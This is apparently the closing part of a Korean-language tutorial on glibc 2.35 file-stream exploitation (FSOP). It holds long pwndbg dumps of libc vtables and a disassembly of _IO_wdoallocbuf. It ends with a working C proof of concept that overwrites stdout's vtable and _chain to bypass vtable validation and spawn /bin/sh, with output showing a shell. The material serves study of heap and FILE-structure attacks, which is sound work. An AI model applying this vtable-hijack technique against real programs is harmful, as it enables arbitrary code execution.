0x7ffff7e16be0 <_IO_cookie_jumps+96>: 0x00007ffff7c8a430 0x00007ffff7c7eb10
0x7ffff7e16bf0 <_IO_cookie_jumps+112>: 0x00007ffff7c7f730 0x00007ffff7c7f760
pwndbg>
0x7ffff7e16c00 <_IO_cookie_jumps+128>: 0x00007ffff7c7f7b0 0x00007ffff7c7f810
0x7ffff7e16c10 <_IO_cookie_jumps+144>: 0x00007ffff7c8f3f0 0x00007ffff7c8f420
0x7ffff7e16c20 <_IO_cookie_jumps+160>: 0x00007ffff7c8f430 0x0000000000000000
0x7ffff7e16c30: 0x0000000000000000 0x0000000000000000
0x7ffff7e16c40 <_IO_proc_jumps>: 0x0000000000000000 0x0000000000000000
0x7ffff7e16c50 <_IO_proc_jumps+16>: 0x00007ffff7c8bff0 0x00007ffff7c8cdc0
0x7ffff7e16c60 <_IO_proc_jumps+32>: 0x00007ffff7c8cab0 0x00007ffff7c8dd60
0x7ffff7e16c70 <_IO_proc_jumps+48>: 0x00007ffff7c8f280 0x00007ffff7c8b600
0x7ffff7e16c80 <_IO_proc_jumps+64>: 0x00007ffff7c8e040 0x00007ffff7c8a8e0
0x7ffff7e16c90 <_IO_proc_jumps+80>: 0x00007ffff7c8e4b0 0x00007ffff7c8a5a0
0x7ffff7e16ca0 <_IO_proc_jumps+96>: 0x00007ffff7c8a430 0x00007ffff7c7eb10
0x7ffff7e16cb0 <_IO_proc_jumps+112>: 0x00007ffff7c8b930 0x00007ffff7c8aec0
0x7ffff7e16cc0 <_IO_proc_jumps+128>: 0x00007ffff7c8a670 0x00007ffff7c807e0
0x7ffff7e16cd0 <_IO_proc_jumps+144>: 0x00007ffff7c8aeb0 0x00007ffff7c8f420
0x7ffff7e16ce0 <_IO_proc_jumps+160>: 0x00007ffff7c8f430 0x0000000000000000
0x7ffff7e16cf0: 0x0000000000000000 0x0000000000000000
pwndbg>
0x7ffff7e16d00 <_IO_str_chk_jumps>: 0x0000000000000000 0x0000000000000000
0x7ffff7e16d10 <_IO_str_chk_jumps+16>: 0x00007ffff7c8f970 0x00007ffff7c818d0
0x7ffff7e16d20 <_IO_str_chk_jumps+32>: 0x00007ffff7c8f530 0x00007ffff7c8dd60
0x7ffff7e16d30 <_IO_str_chk_jumps+48>: 0x00007ffff7c8f950 0x00007ffff7c8ddc0
0x7ffff7e16d40 <_IO_str_chk_jumps+64>: 0x00007ffff7c8e040 0x00007ffff7c8faf0
0x7ffff7e16d50 <_IO_str_chk_jumps+80>: 0x00007ffff7c8e4b0 0x00007ffff7c8e3b0
0x7ffff7e16d60 <_IO_str_chk_jumps+96>: 0x00007ffff7c8e720 0x00007ffff7c8e520
0x7ffff7e16d70 <_IO_str_chk_jumps+112>: 0x00007ffff7c8f400 0x00007ffff7c8f410
0x7ffff7e16d80 <_IO_str_chk_jumps+128>: 0x00007ffff7c8f3e0 0x00007ffff7c8e720
0x7ffff7e16d90 <_IO_str_chk_jumps+144>: 0x00007ffff7c8f3f0 0x00007ffff7c8f420
0x7ffff7e16da0 <_IO_str_chk_jumps+160>: 0x00007ffff7c8f430 0x0000000000000000
0x7ffff7e16db0: 0x0000000000000000 0x0000000000000000
0x7ffff7e16dc0 <_IO_wstrn_jumps>: 0x0000000000000000 0x0000000000000000
0x7ffff7e16dd0 <_IO_wstrn_jumps+16>: 0x00007ffff7c84ba0 0x00007ffff7c82f00
0x7ffff7e16de0 <_IO_wstrn_jumps+32>: 0x00007ffff7c846d0 0x00007ffff7c83840
0x7ffff7e16df0 <_IO_wstrn_jumps+48>: 0x00007ffff7c84b80 0x00007ffff7c83930
pwndbg>
0x7ffff7e16e00 <_IO_wstrn_jumps+64>: 0x00007ffff7c84030 0x00007ffff7c84cf0
0x7ffff7e16e10 <_IO_wstrn_jumps+80>: 0x00007ffff7c8e4b0 0x00007ffff7c8e3b0
0x7ffff7e16e20 <_IO_wstrn_jumps+96>: 0x00007ffff7c8e720 0x00007ffff7c83c20
0x7ffff7e16e30 <_IO_wstrn_jumps+112>: 0x00007ffff7c8f400 0x00007ffff7c8f410
0x7ffff7e16e40 <_IO_wstrn_jumps+128>: 0x00007ffff7c8f3e0 0x00007ffff7c8e720
0x7ffff7e16e50 <_IO_wstrn_jumps+144>: 0x00007ffff7c8f3f0 0x00007ffff7c8f420
0x7ffff7e16e60 <_IO_wstrn_jumps+160>: 0x00007ffff7c8f430 0x0000000000000000
0x7ffff7e16e70: 0x0000000000000000 0x0000000000000000
0x7ffff7e16e80 <_IO_wstr_jumps>: 0x0000000000000000 0x0000000000000000
0x7ffff7e16e90 <_IO_wstr_jumps+16>: 0x00007ffff7c84ba0 0x00007ffff7c84740
0x7ffff7e16ea0 <_IO_wstr_jumps+32>: 0x00007ffff7c846d0 0x00007ffff7c83840
0x7ffff7e16eb0 <_IO_wstr_jumps+48>: 0x00007ffff7c84b80 0x00007ffff7c83930
0x7ffff7e16ec0 <_IO_wstr_jumps+64>: 0x00007ffff7c84030 0x00007ffff7c84cf0
0x7ffff7e16ed0 <_IO_wstr_jumps+80>: 0x00007ffff7c8e4b0 0x00007ffff7c8e3b0
0x7ffff7e16ee0 <_IO_wstr_jumps+96>: 0x00007ffff7c8e720 0x00007ffff7c83c20
0x7ffff7e16ef0 <_IO_wstr_jumps+112>: 0x00007ffff7c8f400 0x00007ffff7c8f410
pwndbg>
0x7ffff7e16f00 <_IO_wstr_jumps+128>: 0x00007ffff7c8f3e0 0x00007ffff7c8e720
0x7ffff7e16f10 <_IO_wstr_jumps+144>: 0x00007ffff7c8f3f0 0x00007ffff7c8f420
0x7ffff7e16f20 <_IO_wstr_jumps+160>: 0x00007ffff7c8f430 0x0000000000000000
0x7ffff7e16f30: 0x0000000000000000 0x0000000000000000
0x7ffff7e16f40 <_IO_wfile_jumps_maybe_mmap>: 0x0000000000000000 0x0000000000000000
0x7ffff7e16f50 <_IO_wfile_jumps_maybe_mmap+16>: 0x00007ffff7c8bff0 0x00007ffff7c86390
0x7ffff7e16f60 <_IO_wfile_jumps_maybe_mmap+32>: 0x00007ffff7c85ff0 0x00007ffff7c83840
0x7ffff7e16f70 <_IO_wfile_jumps_maybe_mmap+48>: 0x00007ffff7c83600 0x00007ffff7c86840
0x7ffff7e16f80 <_IO_wfile_jumps_maybe_mmap+64>: 0x00007ffff7c8b2b0 0x00007ffff7c85750
0x7ffff7e16f90 <_IO_wfile_jumps_maybe_mmap+80>: 0x00007ffff7c8e4b0 0x00007ffff7c8a5d0
0x7ffff7e16fa0 <_IO_wfile_jumps_maybe_mmap+96>: 0x00007ffff7c866a0 0x00007ffff7c7fe90
0x7ffff7e16fb0 <_IO_wfile_jumps_maybe_mmap+112>: 0x00007ffff7c8b930 0x00007ffff7c8aec0
0x7ffff7e16fc0 <_IO_wfile_jumps_maybe_mmap+128>: 0x00007ffff7c8a670 0x00007ffff7c8a590
0x7ffff7e16fd0 <_IO_wfile_jumps_maybe_mmap+144>: 0x00007ffff7c8aeb0 0x00007ffff7c8f420
0x7ffff7e16fe0 <_IO_wfile_jumps_maybe_mmap+160>: 0x00007ffff7c8f430 0x0000000000000000
0x7ffff7e16ff0: 0x0000000000000000 0x0000000000000000
pwndbg>
0x7ffff7e17000 <_IO_wfile_jumps_mmap>: 0x0000000000000000 0x0000000000000000
0x7ffff7e17010 <_IO_wfile_jumps_mmap+16>: 0x00007ffff7c8bff0 0x00007ffff7c86390
0x7ffff7e17020 <_IO_wfile_jumps_mmap+32>: 0x00007ffff7c86030 0x00007ffff7c83840
0x7ffff7e17030 <_IO_wfile_jumps_mmap+48>: 0x00007ffff7c83600 0x00007ffff7c86840
0x7ffff7e17040 <_IO_wfile_jumps_mmap+64>: 0x00007ffff7c8b2b0 0x00007ffff7c85750
0x7ffff7e17050 <_IO_wfile_jumps_mmap+80>: 0x00007ffff7c8e4b0 0x00007ffff7c8a5d0
0x7ffff7e17060 <_IO_wfile_jumps_mmap+96>: 0x00007ffff7c866a0 0x00007ffff7c7fe90
0x7ffff7e17070 <_IO_wfile_jumps_mmap+112>: 0x00007ffff7c8b930 0x00007ffff7c8aec0
0x7ffff7e17080 <_IO_wfile_jumps_mmap+128>: 0x00007ffff7c8a670 0x00007ffff7c8a640
0x7ffff7e17090 <_IO_wfile_jumps_mmap+144>: 0x00007ffff7c8aeb0 0x00007ffff7c8f420
0x7ffff7e170a0 <_IO_wfile_jumps_mmap+160>: 0x00007ffff7c8f430 0x0000000000000000
0x7ffff7e170b0: 0x0000000000000000 0x0000000000000000
0x7ffff7e170c0 <_IO_wfile_jumps>: 0x0000000000000000 0x0000000000000000
0x7ffff7e170d0 <_IO_wfile_jumps+16>: 0x00007ffff7c8bff0 0x00007ffff7c86390
0x7ffff7e170e0 <_IO_wfile_jumps+32>: 0x00007ffff7c84fd0 0x00007ffff7c83840
0x7ffff7e170f0 <_IO_wfile_jumps+48>: 0x00007ffff7c83600 0x00007ffff7c86840
pwndbg>
0x7ffff7e17100 <_IO_wfile_jumps+64>: 0x00007ffff7c8b2b0 0x00007ffff7c85750
0x7ffff7e17110 <_IO_wfile_jumps+80>: 0x00007ffff7c8e4b0 0x00007ffff7c8a5a0
0x7ffff7e17120 <_IO_wfile_jumps+96>: 0x00007ffff7c866a0 0x00007ffff7c7fe90
0x7ffff7e17130 <_IO_wfile_jumps+112>: 0x00007ffff7c8b930 0x00007ffff7c8aec0
0x7ffff7e17140 <_IO_wfile_jumps+128>: 0x00007ffff7c8a670 0x00007ffff7c8a590
0x7ffff7e17150 <_IO_wfile_jumps+144>: 0x00007ffff7c8aeb0 0x00007ffff7c8f420
0x7ffff7e17160 <_IO_wfile_jumps+160>: 0x00007ffff7c8f430 0x0000000000000000
0x7ffff7e17170: 0x0000000000000000 0x0000000000000000
0x7ffff7e17180 <_IO_wmem_jumps>: 0x0000000000000000 0x0000000000000000
0x7ffff7e17190 <_IO_wmem_jumps+16>: 0x00007ffff7c87150 0x00007ffff7c84740
0x7ffff7e171a0 <_IO_wmem_jumps+32>: 0x00007ffff7c846d0 0x00007ffff7c83840
0x7ffff7e171b0 <_IO_wmem_jumps+48>: 0x00007ffff7c84b80 0x00007ffff7c83930
0x7ffff7e171c0 <_IO_wmem_jumps+64>: 0x00007ffff7c84030 0x00007ffff7c84cf0
0x7ffff7e171d0 <_IO_wmem_jumps+80>: 0x00007ffff7c8e4b0 0x00007ffff7c8e3b0
0x7ffff7e171e0 <_IO_wmem_jumps+96>: 0x00007ffff7c870f0 0x00007ffff7c83c20
0x7ffff7e171f0 <_IO_wmem_jumps+112>: 0x00007ffff7c8f400 0x00007ffff7c8f410
pwndbg>
0x7ffff7e17200 <_IO_wmem_jumps+128>: 0x00007ffff7c8f3e0 0x00007ffff7c8e720
0x7ffff7e17210 <_IO_wmem_jumps+144>: 0x00007ffff7c8f3f0 0x00007ffff7c8f420
0x7ffff7e17220 <_IO_wmem_jumps+160>: 0x00007ffff7c8f430 0x0000000000000000
0x7ffff7e17230: 0x0000000000000000 0x0000000000000000
0x7ffff7e17240 <_IO_mem_jumps>: 0x0000000000000000 0x0000000000000000
0x7ffff7e17250 <_IO_mem_jumps+16>: 0x00007ffff7c87c70 0x00007ffff7c8f590
0x7ffff7e17260 <_IO_mem_jumps+32>: 0x00007ffff7c8f530 0x00007ffff7c8dd60
0x7ffff7e17270 <_IO_mem_jumps+48>: 0x00007ffff7c8f950 0x00007ffff7c8ddc0
0x7ffff7e17280 <_IO_mem_jumps+64>: 0x00007ffff7c8e040 0x00007ffff7c8faf0
0x7ffff7e17290 <_IO_mem_jumps+80>: 0x00007ffff7c8e4b0 0x00007ffff7c8e3b0
0x7ffff7e172a0 <_IO_mem_jumps+96>: 0x00007ffff7c87c20 0x00007ffff7c8e520
0x7ffff7e172b0 <_IO_mem_jumps+112>: 0x00007ffff7c8f400 0x00007ffff7c8f410
0x7ffff7e172c0 <_IO_mem_jumps+128>: 0x00007ffff7c8f3e0 0x00007ffff7c8e720
0x7ffff7e172d0 <_IO_mem_jumps+144>: 0x00007ffff7c8f3f0 0x00007ffff7c8f420
0x7ffff7e172e0 <_IO_mem_jumps+160>: 0x00007ffff7c8f430 0x0000000000000000
0x7ffff7e172f0: 0x0000000000000000 0x0000000000000000
pwndbg>
0x7ffff7e17300 <_IO_strn_jumps>: 0x0000000000000000 0x0000000000000000
0x7ffff7e17310 <_IO_strn_jumps+16>: 0x00007ffff7c8f970 0x00007ffff7c88370
0x7ffff7e17320 <_IO_strn_jumps+32>: 0x00007ffff7c8f530 0x00007ffff7c8dd60
0x7ffff7e17330 <_IO_strn_jumps+48>: 0x00007ffff7c8f950 0x00007ffff7c8ddc0
0x7ffff7e17340 <_IO_strn_jumps+64>: 0x00007ffff7c8e040 0x00007ffff7c8faf0
0x7ffff7e17350 <_IO_strn_jumps+80>: 0x00007ffff7c8e4b0 0x00007ffff7c8e3b0
0x7ffff7e17360 <_IO_strn_jumps+96>: 0x00007ffff7c8e720 0x00007ffff7c8e520
0x7ffff7e17370 <_IO_strn_jumps+112>: 0x00007ffff7c8f400 0x00007ffff7c8f410
0x7ffff7e17380 <_IO_strn_jumps+128>: 0x00007ffff7c8f3e0 0x00007ffff7c8e720
0x7ffff7e17390 <_IO_strn_jumps+144>: 0x00007ffff7c8f3f0 0x00007ffff7c8f420
0x7ffff7e173a0 <_IO_strn_jumps+160>: 0x00007ffff7c8f430 0x0000000000000000
0x7ffff7e173b0: 0x0000000000000000 0x0000000000000000
0x7ffff7e173c0 <_IO_obstack_jumps>: 0x0000000000000000 0x0000000000000000
0x7ffff7e173d0 <_IO_obstack_jumps+16>: 0x0000000000000000 0x00007ffff7c885d0
0x7ffff7e173e0 <_IO_obstack_jumps+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7e173f0 <_IO_obstack_jumps+48>: 0x0000000000000000 0x00007ffff7c88510
pwndbg>
0x7ffff7e17400 <_IO_obstack_jumps+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7e17410 <_IO_obstack_jumps+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7e17420 <_IO_obstack_jumps+96>: 0x0000000000000000 0x0000000000000000
0x7ffff7e17430 <_IO_obstack_jumps+112>: 0x0000000000000000 0x0000000000000000
0x7ffff7e17440 <_IO_obstack_jumps+128>: 0x0000000000000000 0x0000000000000000
0x7ffff7e17450 <_IO_obstack_jumps+144>: 0x0000000000000000 0x0000000000000000
0x7ffff7e17460 <_IO_obstack_jumps+160>: 0x0000000000000000 0x0000000000000000
0x7ffff7e17470: 0x0000000000000000 0x0000000000000000
0x7ffff7e17480 <_IO_file_jumps_maybe_mmap>: 0x0000000000000000 0x0000000000000000
0x7ffff7e17490 <_IO_file_jumps_maybe_mmap+16>: 0x00007ffff7c8bff0 0x00007ffff7c8cdc0
0x7ffff7e174a0 <_IO_file_jumps_maybe_mmap+32>: 0x00007ffff7c8b960 0x00007ffff7c8dd60
0x7ffff7e174b0 <_IO_file_jumps_maybe_mmap+48>: 0x00007ffff7c8f280 0x00007ffff7c8b600
0x7ffff7e174c0 <_IO_file_jumps_maybe_mmap+64>: 0x00007ffff7c8a6e0 0x00007ffff7c8a520
0x7ffff7e174d0 <_IO_file_jumps_maybe_mmap+80>: 0x00007ffff7c8e4b0 0x00007ffff7c8a5d0
0x7ffff7e174e0 <_IO_file_jumps_maybe_mmap+96>: 0x00007ffff7c8a430 0x00007ffff7c7eb10
0x7ffff7e174f0 <_IO_file_jumps_maybe_mmap+112>: 0x00007ffff7c8b930 0x00007ffff7c8aec0
pwndbg>
0x7ffff7e17500 <_IO_file_jumps_maybe_mmap+128>: 0x00007ffff7c8a670 0x00007ffff7c8a590
0x7ffff7e17510 <_IO_file_jumps_maybe_mmap+144>: 0x00007ffff7c8aeb0 0x00007ffff7c8f420
0x7ffff7e17520 <_IO_file_jumps_maybe_mmap+160>: 0x00007ffff7c8f430 0x0000000000000000
0x7ffff7e17530: 0x0000000000000000 0x0000000000000000
0x7ffff7e17540 <_IO_file_jumps_mmap>: 0x0000000000000000 0x0000000000000000
0x7ffff7e17550 <_IO_file_jumps_mmap+16>: 0x00007ffff7c8bff0 0x00007ffff7c8cdc0
0x7ffff7e17560 <_IO_file_jumps_mmap+32>: 0x00007ffff7c8bb50 0x00007ffff7c8dd60
0x7ffff7e17570 <_IO_file_jumps_mmap+48>: 0x00007ffff7c8f280 0x00007ffff7c8b600
0x7ffff7e17580 <_IO_file_jumps_mmap+64>: 0x00007ffff7c8af60 0x00007ffff7c8b4d0
0x7ffff7e17590 <_IO_file_jumps_mmap+80>: 0x00007ffff7c8e4b0 0x00007ffff7c8a5d0
0x7ffff7e175a0 <_IO_file_jumps_mmap+96>: 0x00007ffff7c8a680 0x00007ffff7c7eb10
0x7ffff7e175b0 <_IO_file_jumps_mmap+112>: 0x00007ffff7c8b930 0x00007ffff7c8aec0
0x7ffff7e175c0 <_IO_file_jumps_mmap+128>: 0x00007ffff7c8a670 0x00007ffff7c8a640
0x7ffff7e175d0 <_IO_file_jumps_mmap+144>: 0x00007ffff7c8aeb0 0x00007ffff7c8f420
0x7ffff7e175e0 <_IO_file_jumps_mmap+160>: 0x00007ffff7c8f430 0x0000000000000000
0x7ffff7e175f0: 0x0000000000000000 0x0000000000000000
pwndbg>
0x7ffff7e17600 <_IO_file_jumps>: 0x0000000000000000 0x0000000000000000
0x7ffff7e17610 <_IO_file_jumps+16>: 0x00007ffff7c8bff0 0x00007ffff7c8cdc0
0x7ffff7e17620 <_IO_file_jumps+32>: 0x00007ffff7c8cab0 0x00007ffff7c8dd60
0x7ffff7e17630 <_IO_file_jumps+48>: 0x00007ffff7c8f280 0x00007ffff7c8b600
0x7ffff7e17640 <_IO_file_jumps+64>: 0x00007ffff7c8b2b0 0x00007ffff7c8a8e0
0x7ffff7e17650 <_IO_file_jumps+80>: 0x00007ffff7c8e4b0 0x00007ffff7c8a5a0
0x7ffff7e17660 <_IO_file_jumps+96>: 0x00007ffff7c8a430 0x00007ffff7c7eb10
0x7ffff7e17670 <_IO_file_jumps+112>: 0x00007ffff7c8b930 0x00007ffff7c8aec0
0x7ffff7e17680 <_IO_file_jumps+128>: 0x00007ffff7c8a670 0x00007ffff7c8a590
0x7ffff7e17690 <_IO_file_jumps+144>: 0x00007ffff7c8aeb0 0x00007ffff7c8f420
0x7ffff7e176a0 <_IO_file_jumps+160>: 0x00007ffff7c8f430 0x0000000000000000
0x7ffff7e176b0: 0x0000000000000000 0x0000000000000000
0x7ffff7e176c0 <_IO_str_jumps>: 0x0000000000000000 0x0000000000000000
0x7ffff7e176d0 <_IO_str_jumps+16>: 0x00007ffff7c8f970 0x00007ffff7c8f590
0x7ffff7e176e0 <_IO_str_jumps+32>: 0x00007ffff7c8f530 0x00007ffff7c8dd60
0x7ffff7e176f0 <_IO_str_jumps+48>: 0x00007ffff7c8f950 0x00007ffff7c8ddc0
pwndbg>
0x7ffff7e17700 <_IO_str_jumps+64>: 0x00007ffff7c8e040 0x00007ffff7c8faf0
0x7ffff7e17710 <_IO_str_jumps+80>: 0x00007ffff7c8e4b0 0x00007ffff7c8e3b0
0x7ffff7e17720 <_IO_str_jumps+96>: 0x00007ffff7c8e720 0x00007ffff7c8e520
0x7ffff7e17730 <_IO_str_jumps+112>: 0x00007ffff7c8f400 0x00007ffff7c8f410
0x7ffff7e17740 <_IO_str_jumps+128>: 0x00007ffff7c8f3e0 0x00007ffff7c8e720
0x7ffff7e17750 <_IO_str_jumps+144>: 0x00007ffff7c8f3f0 0x00007ffff7c8f420
0x7ffff7e17760 <_IO_str_jumps+160>: 0x00007ffff7c8f430 0x0000000000000000
pwndbg>
그럼 이 많은 함수들 중 어느 것을 타겟으로 잡아야 할까? 위 범위에 포함되는 함수 중에서 호출하는 함수 주소에 대한 검사가 없는 것으로 알려진 것이 _IO_wdoallocbuf 함수이다. 이는 이 함수의 어셈블리 코드를 보면 어떤 의미인지 알 수 있다[2].
pwndbg> disassemble _IO_wdoallocbuf
Dump of assembler code for function __GI__IO_wdoallocbuf:
=> 0x00007ffff7c83b70 <+0>: endbr64
0x00007ffff7c83b74 <+4>: mov rax,QWORD PTR [rdi+0xa0]
0x00007ffff7c83b7b <+11>: cmp QWORD PTR [rax+0x30],0x0
0x00007ffff7c83b80 <+16>: je 0x7ffff7c83b88 <__GI__IO_wdoallocbuf+24>
0x00007ffff7c83b82 <+18>: ret
0x00007ffff7c83b83 <+19>: nop DWORD PTR [rax+rax*1+0x0]
0x00007ffff7c83b88 <+24>: push r12
0x00007ffff7c83b8a <+26>: push rbp
0x00007ffff7c83b8b <+27>: push rbx
0x00007ffff7c83b8c <+28>: mov rbx,rdi
0x00007ffff7c83b8f <+31>: test BYTE PTR [rdi],0x2
0x00007ffff7c83b92 <+34>: jne 0x7ffff7c83c08 <__GI__IO_wdoallocbuf+152>
0x00007ffff7c83b94 <+36>: mov rax,QWORD PTR [rax+0xe0]
0x00007ffff7c83b9b <+43>: call QWORD PTR [rax+0x68]
0x00007ffff7c83b9e <+46>: cmp eax,0xffffffff
0x00007ffff7c83ba1 <+49>: jne 0x7ffff7c83be1 <__GI__IO_wdoallocbuf+113>
0x00007ffff7c83ba3 <+51>: mov rax,QWORD PTR [rbx+0xa0]
0x00007ffff7c83baa <+58>: mov edx,DWORD PTR [rbx+0x74]
0x00007ffff7c83bad <+61>: mov rdi,QWORD PTR [rax+0x30]
0x00007ffff7c83bb1 <+65>: lea rbp,[rax+0xdc]
0x00007ffff7c83bb8 <+72>: lea r12,[rax+0xd8]
0x00007ffff7c83bbf <+79>: test rdi,rdi
0x00007ffff7c83bc2 <+82>: je 0x7ffff7c83bc9 <__GI__IO_wdoallocbuf+89>
0x00007ffff7c83bc4 <+84>: test dl,0x8
0x00007ffff7c83bc7 <+87>: je 0x7ffff7c83bf0 <__GI__IO_wdoallocbuf+128>
0x00007ffff7c83bc9 <+89>: movq xmm0,r12
0x00007ffff7c83bce <+94>: movq xmm1,rbp
0x00007ffff7c83bd3 <+99>: or edx,0x8
0x00007ffff7c83bd6 <+102>: punpcklqdq xmm0,xmm1
0x00007ffff7c83bda <+106>: movups XMMWORD PTR [rax+0x30],xmm0
0x00007ffff7c83bde <+110>: mov DWORD PTR [rbx+0x74],edx
0x00007ffff7c83be1 <+113>: pop rbx
0x00007ffff7c83be2 <+114>: pop rbp
0x00007ffff7c83be3 <+115>: pop r12
0x00007ffff7c83be5 <+117>: ret
0x00007ffff7c83be6 <+118>: cs nop WORD PTR [rax+rax*1+0x0]
0x00007ffff7c83bf0 <+128>: call 0x7ffff7c28370 <free@plt>
0x00007ffff7c83bf5 <+133>: mov rax,QWORD PTR [rbx+0xa0]
0x00007ffff7c83bfc <+140>: mov edx,DWORD PTR [rbx+0x74]
0x00007ffff7c83bff <+143>: jmp 0x7ffff7c83bc9 <__GI__IO_wdoallocbuf+89>
0x00007ffff7c83c01 <+145>: nop DWORD PTR [rax+0x0]
0x00007ffff7c83c08 <+152>: mov edx,DWORD PTR [rdi+0x74]
0x00007ffff7c83c0b <+155>: lea rbp,[rax+0xdc]
0x00007ffff7c83c12 <+162>: lea r12,[rax+0xd8]
0x00007ffff7c83c19 <+169>: jmp 0x7ffff7c83bc9 <__GI__IO_wdoallocbuf+89>
End of assembler dump.
위 코드의 <+43> 부분을 보면 [RAX + 0x68]를 호출하고, RAX 레지스터의 값은 RDI 레지스터 (= stdout)로부터 얻는다. 이때 함수 주소로 호출하는 값에 대한 검증은 없다. 따라서 다음과 같이 stdout을 구성하여 실행 흐름을 바꿀 수 있다.
#include <stdio.h>
void shell(void)
{
system("/bin/sh");
}
void vtable_validation_bypass(void)
{
char *buf = "Hello, world!!";
struct FILE_plus {
FILE file;
uint8_t *vtable;
} *fp_plus = (struct FILE_plus *) stdout;
uint8_t *wfile_jumps, *wdoallocbuf;
uint8_t *target;
fp_plus->file._flags &= ~_IO_NO_WRITES;
fp_plus->file._flags &= ~_IO_CURRENTLY_PUTTING;
fp_plus->file._flags &= ~_IO_UNBUFFERED;
wfile_jumps = fp_plus->vtable - 0x540;
wdoallocbuf = wfile_jumps + 24;
fp_plus->vtable = wdoallocbuf - 56;
/* <_IO_wdoallocbuf+4>: rax = ([rdi + 0xa0] == stdout + 8) */
/* <_IO_wdoallocbuf+36>: rax = [rax + e0] == [stdout + 8 + 0xe0] == stdout */
/* <_IO_wdoallocbuf+43>: [rax + 0x68] == stdout->_chain */
fp_plus->file._chain = shell;
target = stdout;
target += 0xa0;
/* <_IO_wdoallocbuf+4>: stdout + 8 == [rdi + 0xa0] */
*((uint64_t *) target) = (uint8_t *) stdout + 8;
puts(buf);
}
int main()
{
vtable_validation_bypass();
return 0;
}
위 코드를 실행하면 다음을 얻는다.
$ ./fsop
$ ls
a.out debug_fsop.gdb fsop fsop.c safe_linking.c
$ exit
Segmentation fault (core dumped)
References #
- Ulrich Drepper et al., 2022, "GNU C Library," (Version 2.35), [Source Code]. https://ftp.gnu.org/gnu/glibc/glibc-2.35.tar.gz
- ssongk, "FSOP(File Stream Oriented Programming)." ssongkit.tistory.com, Accessed: Mar. 30, 2026. [Online]. Available: https://ssongkit.tistory.com/797